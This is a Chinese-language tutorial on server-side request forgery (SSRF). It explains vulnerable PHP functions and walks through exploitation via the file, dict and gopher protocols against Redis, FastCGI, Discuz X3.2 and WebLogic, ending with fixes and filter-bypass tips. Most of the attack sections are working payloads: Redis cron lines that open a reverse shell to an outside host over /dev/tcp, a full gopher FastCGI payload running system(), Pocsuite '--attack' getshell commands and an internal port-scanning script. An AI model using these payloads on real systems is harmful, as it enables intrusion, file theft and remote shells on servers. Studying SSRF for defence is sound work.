0x00 SSRF简介
SSRF(Server-Side Request Forgery ):服务器端请求伪造,利用漏洞可以伪造服务器端发起网络请求,从而达到攻击内网的目的。
简单来说就是,接受客户端传来的URL,然后服务器拿URL去请求,然后返回ge给客户端
0x01 主要危害
内外网的端口和服务扫描(banner信息,主动扫描)
主机本地敏感数据的读取(利用file协议读文件)
内外网主机应用程序漏洞的利用(比如溢出)
内外网Web站点漏洞的利用(主要是使用get参数的攻击)
无视CDN (ssrf+gopher =ssrfsocks)
…….
0x02 产生原因
网站访问大概步骤:
用户在地址栏输入网址 –》 向目标网站发送请求 –》 目标网站接受请求并在服务器端验证请求是否合法,然后返回用户所需要的页面 –》 用户接受页面并在浏览器中显示
假如【此处的请求默认为: www.xxx.com/ssrf.php?url=】
产生SSRF的漏洞的环节就处在,服务器端的验证并没有对其请求url的参数做出严格的过滤以及限制,导致服务器以他的身份来访问其他服务器的资源。
0x03 漏洞代码
curl_exec()
1 |
|
上述代码,服务器端使用curl发起网络请求加载图片然后返回给客户端
此处libcurl库支持多种协议
[root@4f44e990a2d9 ~]# curl -V
curl 7.53.0 (x86_64-pc-linux-gnu) libcurl/7.62.0
Protocols: dict file ftp gopher http imap pop3 rtsp smtp telnet tftp
Features: AsynchDNS IPv6 Largefile UnixSockets
file_get_contents()
漏洞代码:
1 | $url = $_GET['url']; |
服务器端使用file_get_contents()从用户指定的URL参数去发送请求结果返回至用户,同样,未对用户提供的URL进行验证,参数可控,存在ssrf漏洞
fsockopen ()
1 |
|
这段代码使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。
以上函数使用不当,就会产生漏洞。
0x04 利用方式
FILE协议:
获取敏感文件 url=file:///etc/passwd
SFTP协议:
获取ssh banner信息 url=sftp://www.mywebsite.com:1234/
DICT协议:
获取curllib库 banner 信息 dict://www.mywebsite.com:1234/
泄露安装软件版本信息,还可以查看端口,操作内网redis服务等 dict://127.0.0.1:3306/
GOPHER协议 (万能协议):
Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。允许用户使用层叠结构的菜单与文件,以发现和检索信息,它拥有世界上最大、最神奇的编目。 ——百度百科
攻击Redis:
利用dict协议 url=dict://127.0.0.1:6379/info
可以查看redis的配置信息
redis反弹shell的脚本如下:
1 | echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.1.166/2345 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1 |
其脚本在redis中写了一个键值对然后利用cron
写了一个反弹shell的定时计划(每分钟执行一次)。
然后得利用数据抓包工具socat
分析流量,然后改成适配gopher协议的URL格式
这部分三叶草一个大佬分析的很详细ssrf in php ,这里利用师傅的Exp:
1 | curl -v 'gopher://127.0.0.1:9000/_%01%01%16%21%00%08%00%00%00%01%00%00%00%00%00%00%01%04%16%21%01%E7%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/nginx/html/p.php%0B%1BSCRIPT_NAME/usr/local/nginx/html/p.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/nginx/html/p.php%01%04%16%21%00%00%00%00%01%05%16%21%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05%16%21%00%00%00%00' |
最终获得shell。
攻击FastCGI:
FastCGI全称快速通用网关接口 ,HTTP服务器与你的或其它机器上的程序进行“交谈”的一种工具,其程序一般运行在网络服务器上。CGI可以用任何一种语言编写,只要这种语言具有标准输入、输出和 环境变量。
一般来说 FastCGI 都是绑定在 127.0.0.1 端口上的,但是利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。
利用条件:
- libcurl版本>=7.45.0
- PHP-FPM监听端口
- PHP-FPM版本 >= 5.3.3
- 知道网站文件的绝对路径
- 由于EXP里有%00,CURL版本小于7.45.0的版本,gopher的%00会被截断
除此之外,Gopher协议还能攻击内部存在漏洞的应用,比如JBoss、Struts、memcache等
0x05 实例
Discuz!
Discuz X3.2 存在 SSRF 漏洞,当服务器开启了 Gopher wrapper 时,可以进行一系列的攻击。
漏洞分析:https://www.seebug.org/vuldb/ssvid-91879
dockerfile及poc: https://github.com/C1tas/DiscuzX3.2_SSRF_EXP
测试漏洞poc:
1 | http://192.168.43.73:8082/Discuz/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://192.168.43.73/test.php?a.jpg[/img] |
远程VPS中test.php
1 |
|
打开监听端口,回显test
说明说明存在漏洞
构造FastCGI的Exp
1 |
|
然后请求URL
1 | http://127.0.0.1:8899/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://127.0.0.1:9999/1.php?a.jpg[/img] |
可在本地2333端口收到反弹shell
利用PocSuite+Discuz_SSRF_Redis.py
PocSuite是一款基于漏洞与 PoC的远程漏洞验证框架,是知道创宇的安全团队开发的。
在使用Pocsuite的时候,我们可以用
--verify
参数来调用_verify
方法,用--attack
参数来调用_attack
方法
1 | python2.7 pocsuite.py -r ../Discuz_SSRF_Redis.py -u http://192.168.1.166:8082/Discuz/forum.php --verify |
1 | python pocsuite.py -r ../Discuz_SSRF_Redis.py -u http://192.168.1.166:8082/Discuz/forum.php --attack |
直接getshell
其中,如果利用Dict协议提交时,会自动在末尾加上\r\n
,所以需一步一步的发送请求来构造Exp
1 | dict://127.0.0.1:6379/config:set:dir:/var/spool/cron |
1 | 7269:M 14 Nov 04:36:09.170 * DB loaded from disk: 0.017 seconds |
此处利用创宇404师傅SSRF漏洞分析与利用 根据乌云猪猪侠改造的Exp
1 | # ssrf.py |
Weblogic SSRF 漏洞
环境搭建:
直接从开源的vulhub获取文件,然后进行编译启动
1 | docker-compose build |
完成后访问存在漏洞的页面http://192.168.1.166:7001/uddiexplorer/SearchPublicRegistries.jsp
即可
访问一个URL,其中ip:port
开放
1 | http://192.168.1.166:7001/uddiexplorer/SearchPublicRegistries.jsp |
返回 一个404 error code
假如访问一个未开放的端口9999
,
返回一个could not connect
,
假如访问其他协议,dict、gopher
返回unknown protocol
可以通过错误的不同,可探测内网状态。
一个简单的扫描内网端口的POC
1 | import requests |
结果
1 | [*] http://172.18.0.3:22 |
攻击Redis反弹shell
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d
来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
redis反弹shell Exp:
1 | test |
将其URL编码,其中\r\n
编码后为%0D%0A
1 | test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa |
然后提交,成功getshell
此外,redis启动时不会像apache一样,以一种低权限的身份运行,而是取决于运行他的用户的权限,而且它的默认配置是不需要密码的,故默认的未授权访问,并且它也支持本地存储,所以这就造成了任意文件写入漏洞,写入webshell、ssh私钥等
0x05 漏洞修复
- 仅仅限制http、https协议
- 禁止302跳转
- 设置URL白名单或限制内网IP
- 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态
- 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准
- 限制请求的端口为http常用的端口,比如,80,443,8080,8090
0x06 Bypass Tips
- 最常用的跳转绕过
一些服务器可能限定了只能使用http和https,这样就能通过header跳转绕过
1 |
|
- 指向任意IP的域名xip.io
1 | 10.0.0.1.xip.io resolves to 10.0.0.1 |
IP限制绕过,十进制、八进制、十六进制之间的互相转换
短网址绕过
1 | http://dwz.cn/11SMa >>> http://127.0.0.1 |